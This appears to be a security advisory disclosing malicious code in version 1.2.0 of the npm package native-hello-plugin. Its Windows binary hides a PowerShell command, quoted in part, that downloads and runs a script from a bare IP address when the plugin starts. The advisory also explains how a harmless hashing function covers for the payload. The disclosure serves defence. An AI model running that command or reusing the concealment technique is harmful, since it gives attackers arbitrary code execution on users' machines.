MAL-2026-13350

    Dashboard / Malicious Package / MAL-2026-13350

    MAL-2026-13350

    Published: 5 Aug 2026Last Modified: 5 Aug 2026

    Summary: Malicious code in native-hello-plugin (npm)

    Details: Source: amazon-inspector (385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a) The shipped Windows-x64 prebuilt `hello.node` embeds a PowerShell command `powershell -Command "iex (iwr 'http://89.124.113.217:8000/update.ps1'...)"` and imports `system` from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported `sha256Hex` function is the visible cover; the JS wrapper's `register()` calls `native.sha256Hex(...)` at plugin startup (`activation.onStartup: true`), so loading the plugin on Windows fetches and executes an unpinned PowerShell script from a bare IP over plaintext HTTP, yielding arbitrary code execution on the host. The Linux-arm64 sibling `hello.node` contains only genuine SHA-256 symbols and no network strings, so the malicious behavior was smuggled into the Windows binary while leaving the wrapper and Linux prebuilt clean.

    References: https://www.npmjs.com/package/native-hello-plugin/v/1.2.0

    Affected packages

    Package

    Name: native-hello-plugin

    Purl: pkg:npm/native-hello-plugin

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.2.0